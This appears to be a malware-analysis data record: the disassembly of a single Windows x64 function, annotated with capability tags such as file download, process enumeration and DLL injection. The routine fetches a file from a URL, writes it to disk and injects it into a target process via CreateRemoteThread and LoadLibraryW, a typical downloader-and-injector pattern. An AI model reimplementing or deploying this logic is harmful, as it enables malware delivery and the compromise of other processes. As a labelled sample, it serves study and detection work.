Function at 0x14004f4c0
Capabilities:
Check if file exists
Create http request
Create thread
Delete file
Download and write a file
Enumerate processes
Get file attributes
Inject dll
Inject thread
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push r14
push r15
sub rsp, 0x690
cmp qword [rdx + 0x18], 7
mov r14, r9
mov rbx, r8
mov r15, rdx
mov rcx, rdx
jbe 0x14004f4e7
mov rcx, qword [rdx]
mov qword [rsp + 0x6c0], rbp
mov qword [rsp + 0x688], rsi
mov qword [rsp + 0x680], rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14004f525
cmp qword [r15 + 0x18], 7
mov rcx, r15
jbe 0x14004f517
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14004f83a
xor ebp, ebp
lea rcx, str.UserAgent
xor r9d, r9d
mov dword [rsp + 0x20], ebp
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x14004f83a
cmp qword [rbx + 0x18], 7
jbe 0x14004f559
mov rbx, qword [rbx]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x400100
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x14004f7f0
cmp qword [r15 + 0x18], 7
mov rcx, r15
jbe 0x14004f591
mov rcx, qword [r15]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x14004f7ea
lea r9, [rsp + 0x6b0]
mov r8d, 0x400
lea rdx, [rsp + 0x280]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14004f646
nop word [rax + rax]
mov r8d, dword [rsp + 0x6b0]
test r8d, r8d
je 0x14004f646
lea r9, [rsp + 0x6b8]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14004f7de
lea r9, [rsp + 0x6b0]
mov r8d, 0x400
lea rdx, [rsp + 0x280]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14004f5f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor edx, edx
mov dword [rsp + 0x40], 0x238
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14004f83a
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004f831
nop dword [rax]
cmp qword [r14 + 0x18], 7
mov rdx, r14
jbe 0x14004f6ad
mov rdx, qword [r14]
lea rcx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], bp
jne 0x14004f6c0
cmp rax, qword [r14 + 0x10]
jne 0x14004f7fb
test rax, rax
je 0x14004f6f8
lea r8, [rsp + 0x6c]
sub r8, rdx
movzx ecx, word [r8 + rdx]
cmp cx, word [rdx]
jne 0x14004f7fb
add rdx, 2
sub rax, 1
jne 0x14004f6e0
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14004f831
mov r8, qword [r15 + 0x10]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rax
lea r8, [r8*2 + 2]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x14004f828
cmp qword [r15 + 0x18], 7
mov rax, qword [r15 + 0x10]
lea r9, [rax*2 + 2]
jbe 0x14004f75d
mov r15, qword [r15]
mov r8, r15
mov qword [rsp + 0x20], rbp
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14004f813
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004f813
mov qword [rsp + 0x30], rbp
mov r9, rax
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14004f813
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14004f83c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14004f83a
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14004f6a0
jmp 0x14004f831
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, qword [rsp + 0x680]
mov rsi, qword [rsp + 0x688]
mov rbp, qword [rsp + 0x6c0]
add rsp, 0x690
pop r15
pop r14
pop rbx
ret